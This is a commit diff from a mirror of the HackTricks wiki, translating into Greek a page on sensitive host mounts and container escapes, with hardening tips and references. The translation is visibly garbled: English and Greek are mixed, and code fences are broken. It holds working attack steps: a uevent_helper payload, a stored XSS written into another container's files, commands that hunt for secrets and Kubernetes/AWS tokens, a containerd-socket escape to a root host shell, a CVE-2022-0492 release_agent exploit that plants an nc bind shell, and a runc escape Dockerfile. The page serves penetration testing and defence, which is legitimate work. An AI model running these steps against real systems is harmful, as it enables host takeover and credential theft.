mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/linux-hardening/privilege-escalation/docker-security/do
This commit is contained in:
parent
2f9090d163
commit
9e8e554c27
@ -2,7 +2,7 @@
|
|||||||
|
|
||||||
{{#include ../../../../banners/hacktricks-training.md}}
|
{{#include ../../../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
Η έκθεση των `/proc`, `/sys` και `/var` χωρίς κατάλληλη απομόνωση ονομάτων εισάγει σημαντικούς κινδύνους ασφαλείας, συμπεριλαμβανομένης της αύξησης της επιφάνειας επίθεσης και της αποκάλυψης πληροφοριών. Αυτοί οι κατάλογοι περιέχουν ευαίσθητα αρχεία που, αν είναι κακώς ρυθμισμένα ή προσπελαστούν από μη εξουσιοδοτημένο χρήστη, μπορούν να οδηγήσουν σε διαφυγή κοντέινερ, τροποποίηση του κεντρικού υπολογιστή ή να παρέχουν πληροφορίες που βοηθούν σε περαιτέρω επιθέσεις. Για παράδειγμα, η λανθασμένη τοποθέτηση `-v /proc:/host/proc` μπορεί να παρακάμψει την προστασία του AppArmor λόγω της βασισμένης σε διαδρομή φύσης της, αφήνοντας το `/host/proc` απροστάτευτο.
|
Η έκθεση των `/proc`, `/sys` και `/var` χωρίς κατάλληλη απομόνωση ονομάτων χώρου εισάγει σημαντικούς κινδύνους ασφαλείας, συμπεριλαμβανομένης της αύξησης της επιφάνειας επίθεσης και της αποκάλυψης πληροφοριών. Αυτοί οι κατάλογοι περιέχουν ευαίσθητα αρχεία που, αν είναι κακώς ρυθμισμένα ή προσπελαστούν από μη εξουσιοδοτημένο χρήστη, μπορούν να οδηγήσουν σε διαφυγή κοντέινερ, τροποποίηση του κεντρικού υπολογιστή ή να παρέχουν πληροφορίες που διευκολύνουν περαιτέρω επιθέσεις. Για παράδειγμα, η λανθασμένη τοποθέτηση `-v /proc:/host/proc` μπορεί να παρακάμψει την προστασία του AppArmor λόγω της βασισμένης σε διαδρομή φύσης της, αφήνοντας το `/host/proc` απροστάτευτο.
|
||||||
|
|
||||||
**Μπορείτε να βρείτε περισσότερες λεπτομέρειες για κάθε πιθανή ευπάθεια στο** [**https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts**](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)**.**
|
**Μπορείτε να βρείτε περισσότερες λεπτομέρειες για κάθε πιθανή ευπάθεια στο** [**https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts**](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)**.**
|
||||||
|
|
||||||
@ -39,7 +39,7 @@ return 0;
|
|||||||
```
|
```
|
||||||
#### **`/proc/sys/kernel/modprobe`**
|
#### **`/proc/sys/kernel/modprobe`**
|
||||||
|
|
||||||
- Λεπτομέρειες στο [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
|
- Αναλυτικά στο [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
|
||||||
- Περιέχει τη διαδρομή προς τον φορτωτή πυρήνα, που καλείται για τη φόρτωση πυρήνων.
|
- Περιέχει τη διαδρομή προς τον φορτωτή πυρήνα, που καλείται για τη φόρτωση πυρήνων.
|
||||||
- **Παράδειγμα Ελέγχου Πρόσβασης**:
|
- **Παράδειγμα Ελέγχου Πρόσβασης**:
|
||||||
|
|
||||||
@ -70,7 +70,7 @@ ls -l $(cat /proc/sys/kernel/modprobe) # Έλεγχος πρόσβασης στ
|
|||||||
#### **`/proc/config.gz`**
|
#### **`/proc/config.gz`**
|
||||||
|
|
||||||
- Μπορεί να αποκαλύψει τη διαμόρφωση του πυρήνα αν είναι ενεργοποιημένο το `CONFIG_IKCONFIG_PROC`.
|
- Μπορεί να αποκαλύψει τη διαμόρφωση του πυρήνα αν είναι ενεργοποιημένο το `CONFIG_IKCONFIG_PROC`.
|
||||||
- Χρήσιμο για επιτιθέμενους για την αναγνώριση ευπαθειών στον τρέχοντα πυρήνα.
|
- Χρήσιμο για επιτιθέμενους για να εντοπίσουν ευπάθειες στον τρέχοντα πυρήνα.
|
||||||
|
|
||||||
#### **`/proc/sysrq-trigger`**
|
#### **`/proc/sysrq-trigger`**
|
||||||
|
|
||||||
@ -132,83 +132,88 @@ echo b > /proc/sysrq-trigger # Επανεκκινεί τον host
|
|||||||
|
|
||||||
- Χρησιμοποιείται για την επεξεργασία `uevents` συσκευών πυρήνα.
|
- Χρησιμοποιείται για την επεξεργασία `uevents` συσκευών πυρήνα.
|
||||||
- Η εγγραφή στο `/sys/kernel/uevent_helper` μπορεί να εκτελέσει αυθαίρετα σενάρια κατά την ενεργοποίηση `uevent`.
|
- Η εγγραφή στο `/sys/kernel/uevent_helper` μπορεί να εκτελέσει αυθαίρετα σενάρια κατά την ενεργοποίηση `uevent`.
|
||||||
- **Παράδειγμα Εκμετάλλευσης**: %%%bash
|
- **Παράδειγμα Εκμετάλλευσης**:
|
||||||
|
```bash
|
||||||
|
|
||||||
#### Δημιουργεί ένα payload
|
#### Creates a payload
|
||||||
|
|
||||||
echo "#!/bin/sh" > /evil-helper echo "ps > /output" >> /evil-helper chmod +x /evil-helper
|
echo "#!/bin/sh" > /evil-helper echo "ps > /output" >> /evil-helper chmod +x /evil-helper
|
||||||
|
|
||||||
#### Βρίσκει τη διαδρομή του host από την προσάρτηση OverlayFS για το κοντέινερ
|
#### Finds host path from OverlayFS mount for container
|
||||||
|
|
||||||
host*path=$(sed -n 's/.*\perdir=(\[^,]\_).\*/\1/p' /etc/mtab)
|
host*path=$(sed -n 's/.*\perdir=(\[^,]\_).\*/\1/p' /etc/mtab)
|
||||||
|
|
||||||
#### Ρυθμίζει το uevent_helper σε κακόβουλο βοηθό
|
#### Sets uevent_helper to malicious helper
|
||||||
|
|
||||||
echo "$host_path/evil-helper" > /sys/kernel/uevent_helper
|
echo "$host_path/evil-helper" > /sys/kernel/uevent_helper
|
||||||
|
|
||||||
#### Ενεργοποιεί ένα uevent
|
#### Triggers a uevent
|
||||||
|
|
||||||
echo change > /sys/class/mem/null/uevent
|
echo change > /sys/class/mem/null/uevent
|
||||||
|
|
||||||
#### Διαβάζει την έξοδο
|
#### Reads the output
|
||||||
|
|
||||||
cat /output %%%
|
cat /output
|
||||||
|
```
|
||||||
|
|
||||||
#### **`/sys/class/thermal`**
|
#### **`/sys/class/thermal`**
|
||||||
|
|
||||||
- Ελέγχει τις ρυθμίσεις θερμοκρασίας, προκαλώντας πιθανώς επιθέσεις DoS ή φυσική ζημιά.
|
- Controls temperature settings, potentially causing DoS attacks or physical damage.
|
||||||
|
|
||||||
#### **`/sys/kernel/vmcoreinfo`**
|
#### **`/sys/kernel/vmcoreinfo`**
|
||||||
|
|
||||||
- Διαρρέει διευθύνσεις πυρήνα, πιθανώς υπονομεύοντας το KASLR.
|
- Leaks kernel addresses, potentially compromising KASLR.
|
||||||
|
|
||||||
#### **`/sys/kernel/security`**
|
#### **`/sys/kernel/security`**
|
||||||
|
|
||||||
- Περιέχει τη διεπαφή `securityfs`, επιτρέποντας τη διαμόρφωση των Linux Security Modules όπως το AppArmor.
|
- Houses `securityfs` interface, allowing configuration of Linux Security Modules like AppArmor.
|
||||||
- Η πρόσβαση μπορεί να επιτρέψει σε ένα κοντέινερ να απενεργοποιήσει το σύστημα MAC του.
|
- Access might enable a container to disable its MAC system.
|
||||||
|
|
||||||
#### **`/sys/firmware/efi/vars` και `/sys/firmware/efi/efivars`**
|
#### **`/sys/firmware/efi/vars` and `/sys/firmware/efi/efivars`**
|
||||||
|
|
||||||
- Εκθέτει διεπαφές για αλληλεπίδραση με μεταβλητές EFI στο NVRAM.
|
- Exposes interfaces for interacting with EFI variables in NVRAM.
|
||||||
- Λανθασμένη διαμόρφωση ή εκμετάλλευση μπορεί να οδηγήσει σε κατεστραμμένα laptops ή μηχανές host που δεν εκκινούν.
|
- Misconfiguration or exploitation can lead to bricked laptops or unbootable host machines.
|
||||||
|
|
||||||
#### **`/sys/kernel/debug`**
|
#### **`/sys/kernel/debug`**
|
||||||
|
|
||||||
- Το `debugfs` προσφέρει μια διεπαφή αποσφαλμάτωσης "χωρίς κανόνες" στον πυρήνα.
|
- `debugfs` offers a "no rules" debugging interface to the kernel.
|
||||||
- Ιστορικό προβλημάτων ασφαλείας λόγω της απεριόριστης φύσης του.
|
- History of security issues due to its unrestricted nature.
|
||||||
|
|
||||||
### Ευπάθειες στο `/var`
|
### `/var` Vulnerabilities
|
||||||
|
|
||||||
Ο φάκελος **/var** του host περιέχει sockets χρόνου εκτέλεσης κοντέινερ και τα συστήματα αρχείων των κοντέινερ.
|
The host's **/var** folder contains container runtime sockets and the containers' filesystems.
|
||||||
Αν αυτός ο φάκελος είναι προσαρτημένος μέσα σε ένα κοντέινερ, το κοντέινερ αυτό θα αποκτήσει πρόσβαση ανάγνωσης-εγγραφής στα συστήματα αρχείων άλλων κοντέινερ
|
If this folder is mounted inside a container, that container will get read-write access to other containers' file systems
|
||||||
με προνόμια root. Αυτό μπορεί να καταχραστεί για να μεταπηδήσει μεταξύ κοντέινερ, να προκαλέσει άρνηση υπηρεσίας ή να δημιουργήσει backdoor σε άλλα
|
with root privileges. This can be abused to pivot between containers, to cause a denial of service, or to backdoor other
|
||||||
κοντέινερ και εφαρμογές που εκτελούνται σε αυτά.
|
containers and applications that run in them.
|
||||||
|
|
||||||
#### Kubernetes
|
#### Kubernetes
|
||||||
|
|
||||||
Αν ένα κοντέινερ όπως αυτό αναπτυχθεί με Kubernetes:
|
If a container like this is deployed with Kubernetes:
|
||||||
|
|
||||||
```yaml
|
```yaml
|
||||||
apiVersion: v1
|
apiVersion: v1
|
||||||
kind: Pod
|
kind: Pod
|
||||||
metadata:
|
metadata:
|
||||||
name: pod-mounts-var
|
name: pod-mounts-var
|
||||||
labels:
|
labels:
|
||||||
app: pentest
|
app: pentest
|
||||||
spec:
|
spec:
|
||||||
containers:
|
containers:
|
||||||
- name: pod-mounts-var-folder
|
- name: pod-mounts-var-folder
|
||||||
image: alpine
|
image: alpine
|
||||||
volumeMounts:
|
volumeMounts:
|
||||||
- mountPath: /host-var
|
- mountPath: /host-var
|
||||||
name: noderoot
|
name: noderoot
|
||||||
command: [ "/bin/sh", "-c", "--" ]
|
command: [ "/bin/sh", "-c", "--" ]
|
||||||
args: [ "while true; do sleep 30; done;" ]
|
args: [ "while true; do sleep 30; done;" ]
|
||||||
volumes:
|
volumes:
|
||||||
- name: noderoot
|
- name: noderoot
|
||||||
hostPath:
|
hostPath:
|
||||||
path: /var
|
path: /var
|
||||||
```
|
```
|
||||||
Μέσα στο **pod-mounts-var-folder** κοντέινερ:
|
|
||||||
|
Inside the **pod-mounts-var-folder** container:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
/ # find /host-var/ -type f -iname '*.env*' 2>/dev/null
|
/ # find /host-var/ -type f -iname '*.env*' 2>/dev/null
|
||||||
|
|
||||||
@ -226,21 +231,22 @@ REFRESH_TOKEN_SECRET=14<SNIP>ea
|
|||||||
/host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/140/fs/usr/share/nginx/html/index.html
|
/host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/140/fs/usr/share/nginx/html/index.html
|
||||||
/host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/132/fs/usr/share/nginx/html/index.html
|
/host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/132/fs/usr/share/nginx/html/index.html
|
||||||
|
|
||||||
/ # echo '<!DOCTYPE html><html lang="en"><head><script>alert("Stored XSS!")</script></head></html>' > /host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/140/fs/usr/sh
|
/ # echo '<!DOCTYPE html><html lang="el"><head><script>alert("Stored XSS!")</script></head></html>' > /host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/140/fs/usr/share/nginx/html/index2.html
|
||||||
are/nginx/html/index2.html
|
|
||||||
```
|
```
|
||||||
Το XSS επιτεύχθηκε:
|
|
||||||
|
The XSS was achieved:
|
||||||
|
|
||||||

|

|
||||||
|
|
||||||
Σημειώστε ότι το κοντέινερ ΔΕΝ απαιτεί επανεκκίνηση ή οτιδήποτε άλλο. Οποιεσδήποτε αλλαγές γίνουν μέσω του τοποθετημένου **/var** φακέλου θα εφαρμοστούν άμεσα.
|
Note that the container DOES NOT require a restart or anything. Any changes made via the mounted **/var** folder will be applied instantly.
|
||||||
|
|
||||||
Μπορείτε επίσης να αντικαταστήσετε αρχεία ρυθμίσεων, δυαδικά αρχεία, υπηρεσίες, αρχεία εφαρμογών και προφίλ κελύφους για να επιτύχετε αυτόματη (ή ημι-αυτόματη) RCE.
|
You can also replace configuration files, binaries, services, application files, and shell profiles to achieve automatic (or semi-automatic) RCE.
|
||||||
|
|
||||||
##### Πρόσβαση σε διαπιστευτήρια cloud
|
##### Access to cloud credentials
|
||||||
|
|
||||||
|
The container can read K8s serviceaccount tokens or AWS webidentity tokens
|
||||||
|
which allows the container to gain unauthorized access to K8s or cloud:
|
||||||
|
|
||||||
Το κοντέινερ μπορεί να διαβάσει τα tokens serviceaccount K8s ή τα tokens webidentity AWS
|
|
||||||
που επιτρέπουν στο κοντέινερ να αποκτήσει μη εξουσιοδοτημένη πρόσβαση σε K8s ή cloud:
|
|
||||||
```bash
|
```bash
|
||||||
/ # find /host-var/ -type f -iname '*token*' 2>/dev/null | grep kubernetes.io
|
/ # find /host-var/ -type f -iname '*token*' 2>/dev/null | grep kubernetes.io
|
||||||
/host-var/lib/kubelet/pods/21411f19-934c-489e-aa2c-4906f278431e/volumes/kubernetes.io~projected/kube-api-access-64jw2/..2025_01_22_12_37_42.4197672587/token
|
/host-var/lib/kubelet/pods/21411f19-934c-489e-aa2c-4906f278431e/volumes/kubernetes.io~projected/kube-api-access-64jw2/..2025_01_22_12_37_42.4197672587/token
|
||||||
@ -249,30 +255,104 @@ are/nginx/html/index2.html
|
|||||||
/host-var/lib/kubelet/pods/01c671a5-aaeb-4e0b-adcd-1cacd2e418ac/volumes/kubernetes.io~projected/aws-iam-token/..2025_01_22_03_45_56.2328221474/token
|
/host-var/lib/kubelet/pods/01c671a5-aaeb-4e0b-adcd-1cacd2e418ac/volumes/kubernetes.io~projected/aws-iam-token/..2025_01_22_03_45_56.2328221474/token
|
||||||
/host-var/lib/kubelet/pods/5fb6bd26-a6aa-40cc-abf7-ecbf18dde1f6/volumes/kubernetes.io~projected/kube-api-access-fm2t6/..2025_01_22_12_25_25.3018586444/token
|
/host-var/lib/kubelet/pods/5fb6bd26-a6aa-40cc-abf7-ecbf18dde1f6/volumes/kubernetes.io~projected/kube-api-access-fm2t6/..2025_01_22_12_25_25.3018586444/token
|
||||||
```
|
```
|
||||||
|
|
||||||
#### Docker
|
#### Docker
|
||||||
|
|
||||||
Η εκμετάλλευση στο Docker (ή σε αναπτύξεις Docker Compose) είναι ακριβώς η ίδια, εκτός από το ότι συνήθως τα συστήματα αρχείων των άλλων κοντέινερ είναι διαθέσιμα κάτω από μια διαφορετική βασική διαδρομή:
|
The exploitation in Docker (or in Docker Compose deployments) is exactly the same, except that usually
|
||||||
|
the other containers' filesystems are available under a different base path:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
$ docker info | grep -i 'docker root\|storage driver'
|
$ docker info | grep -i 'docker root\|storage driver'
|
||||||
Storage Driver: overlay2
|
Storage Driver: overlay2
|
||||||
Docker Root Dir: /var/lib/docker
|
Docker Root Dir: /var/lib/docker
|
||||||
```
|
```
|
||||||
Έτσι, τα συστήματα αρχείων βρίσκονται κάτω από `/var/lib/docker/overlay2/`:
|
|
||||||
|
So the filesystems are under `/var/lib/docker/overlay2/`:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
|
```markdown
|
||||||
$ sudo ls -la /var/lib/docker/overlay2
|
$ sudo ls -la /var/lib/docker/overlay2
|
||||||
|
|
||||||
drwx--x--- 4 root root 4096 Jan 9 22:14 00762bca8ea040b1bb28b61baed5704e013ab23a196f5fe4758dafb79dfafd5d
|
drwx--x--- 4 root root 4096 Ιαν 9 22:14 00762bca8ea040b1bb28b61baed5704e013ab23a196f5fe4758dafb79dfafd5d
|
||||||
drwx--x--- 4 root root 4096 Jan 11 17:00 03cdf4db9a6cc9f187cca6e98cd877d581f16b62d073010571e752c305719496
|
drwx--x--- 4 root root 4096 Ιαν 11 17:00 03cdf4db9a6cc9f187cca6e98cd877d581f16b62d073010571e752c305719496
|
||||||
drwx--x--- 4 root root 4096 Jan 9 21:23 049e02afb3f8dec80cb229719d9484aead269ae05afe81ee5880ccde2426ef4f
|
drwx--x--- 4 root root 4096 Ιαν 9 21:23 049e02afb3f8dec80cb229719d9484aead269ae05afe81ee5880ccde2426ef4f
|
||||||
drwx--x--- 4 root root 4096 Jan 9 21:22 062f14e5adbedce75cea699828e22657c8044cd22b68ff1bb152f1a3c8a377f2
|
drwx--x--- 4 root root 4096 Ιαν 9 21:22 062f14e5adbedce75cea699828e22657c8044cd22b68ff1bb152f1a3c8a377f2
|
||||||
<SNIP>
|
<SNIP>
|
||||||
```
|
```
|
||||||
#### Σημείωση
|
```
|
||||||
|
|
||||||
Οι πραγματικοί δρόμοι μπορεί να διαφέρουν σε διαφορετικές ρυθμίσεις, γι' αυτό η καλύτερη επιλογή σας είναι να χρησιμοποιήσετε την εντολή **find** για να εντοπίσετε τα συστήματα αρχείων των άλλων κοντέινερ και τα SA / web identity tokens.
|
#### Note
|
||||||
|
|
||||||
### Αναφορές
|
The actual paths may differ in different setups, which is why your best bet is to use the **find** command to
|
||||||
|
locate the other containers' filesystems and SA / web identity tokens
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
### Other Sensitive Host Sockets and Directories (2023-2025)
|
||||||
|
|
||||||
|
Mounting certain host Unix sockets or writable pseudo-filesystems is equivalent to giving the container full root on the node. **Treat the following paths as highly sensitive and never expose them to untrusted workloads**:
|
||||||
|
|
||||||
|
```text
|
||||||
|
```
|
||||||
|
/run/containerd/containerd.sock # socket CRI του containerd
|
||||||
|
/var/run/crio/crio.sock # socket runtime CRI-O
|
||||||
|
/run/podman/podman.sock # API Podman (με δικαιώματα root ή χωρίς)
|
||||||
|
/var/run/kubelet.sock # API Kubelet σε κόμβους Kubernetes
|
||||||
|
/run/firecracker-containerd.sock # Kata / Firecracker
|
||||||
|
```
|
||||||
|
```
|
||||||
|
|
||||||
|
Attack example abusing a mounted **containerd** socket:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# μέσα στο κοντέινερ (η υποδοχή είναι προσαρτημένη στο /host/run/containerd.sock)
|
||||||
|
ctr --address /host/run/containerd.sock images pull docker.io/library/busybox:latest
|
||||||
|
ctr --address /host/run/containerd.sock run --tty --privileged --mount \
|
||||||
|
type=bind,src=/,dst=/host,options=rbind:rw docker.io/library/busybox:latest host /bin/sh
|
||||||
|
chroot /host /bin/bash # πλήρης ρίζα shell στον οικοδεσπότη
|
||||||
|
```
|
||||||
|
|
||||||
|
A similar technique works with **crictl**, **podman** or the **kubelet** API once their respective sockets are exposed.
|
||||||
|
|
||||||
|
Writable **cgroup v1** mounts are also dangerous. If `/sys/fs/cgroup` is bind-mounted **rw** and the host kernel is vulnerable to **CVE-2022-0492**, an attacker can set a malicious `release_agent` and execute arbitrary code in the *initial* namespace:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# υποθέτοντας ότι το κοντέινερ έχει CAP_SYS_ADMIN και έναν ευάλωτο πυρήνα
|
||||||
|
mkdir -p /tmp/x && echo 1 > /tmp/x/notify_on_release
|
||||||
|
|
||||||
|
echo '/tmp/pwn' > /sys/fs/cgroup/release_agent # απαιτεί CVE-2022-0492
|
||||||
|
|
||||||
|
echo -e '#!/bin/sh\nnc -lp 4444 -e /bin/sh' > /tmp/pwn && chmod +x /tmp/pwn
|
||||||
|
sh -c "echo 0 > /tmp/x/cgroup.procs" # ενεργοποιεί το γεγονός empty-cgroup
|
||||||
|
```
|
||||||
|
|
||||||
|
When the last process leaves the cgroup, `/tmp/pwn` runs **as root on the host**. Patched kernels (>5.8 with commit `32a0db39f30d`) validate the writer’s capabilities and block this abuse.
|
||||||
|
|
||||||
|
### Mount-Related Escape CVEs (2023-2025)
|
||||||
|
|
||||||
|
* **CVE-2024-21626 – runc “Leaky Vessels” file-descriptor leak**
|
||||||
|
runc ≤1.1.11 leaked an open directory file descriptor that could point to the host root. A malicious image or `docker exec` could start a container whose *working directory* is already on the host filesystem, enabling arbitrary file read/write and privilege escalation. Fixed in runc 1.1.12 (Docker ≥25.0.3, containerd ≥1.7.14).
|
||||||
|
|
||||||
|
```Dockerfile
|
||||||
|
FROM scratch
|
||||||
|
WORKDIR /proc/self/fd/4 # 4 == "/" on the host leaked by the runtime
|
||||||
|
CMD ["/bin/sh"]
|
||||||
|
```
|
||||||
|
|
||||||
|
* **CVE-2024-23651 / 23653 – BuildKit OverlayFS copy-up TOCTOU**
|
||||||
|
A race condition in the BuildKit snapshotter let an attacker replace a file that was about to be *copy-up* into the container’s rootfs with a symlink to an arbitrary path on the host, gaining write access outside the build context. Fixed in BuildKit v0.12.5 / Buildx 0.12.0. Exploitation requires an untrusted `docker build` on a vulnerable daemon.
|
||||||
|
|
||||||
|
### Hardening Reminders (2025)
|
||||||
|
|
||||||
|
1. Bind-mount host paths **read-only** whenever possible and add `nosuid,nodev,noexec` mount options.
|
||||||
|
2. Prefer dedicated side-car proxies or rootless clients instead of exposing the runtime socket directly.
|
||||||
|
3. Keep the container runtime up-to-date (runc ≥1.1.12, BuildKit ≥0.12.5, containerd ≥1.7.14).
|
||||||
|
4. In Kubernetes, use `securityContext.readOnlyRootFilesystem: true`, the *restricted* PodSecurity profile and avoid `hostPath` volumes pointing to the paths listed above.
|
||||||
|
|
||||||
|
### References
|
||||||
|
|
||||||
|
- [runc CVE-2024-21626 advisory](https://github.com/opencontainers/runc/security/advisories/GHSA-xr7r-f8xq-vfvv)
|
||||||
|
- [Unit 42 analysis of CVE-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)
|
||||||
- [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)
|
- [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)
|
||||||
- [Understanding and Hardening Linux Containers](https://research.nccgroup.com/wp-content/uploads/2020/07/ncc_group_understanding_hardening_linux_containers-1-1.pdf)
|
- [Understanding and Hardening Linux Containers](https://research.nccgroup.com/wp-content/uploads/2020/07/ncc_group_understanding_hardening_linux_containers-1-1.pdf)
|
||||||
- [Abusing Privileged and Unprivileged Linux Containers](https://www.nccgroup.com/globalassets/our-research/us/whitepapers/2016/june/container_whitepaper.pdf)
|
- [Abusing Privileged and Unprivileged Linux Containers](https://www.nccgroup.com/globalassets/our-research/us/whitepapers/2016/june/container_whitepaper.pdf)
|
||||||
|
Loading…
x
Reference in New Issue
Block a user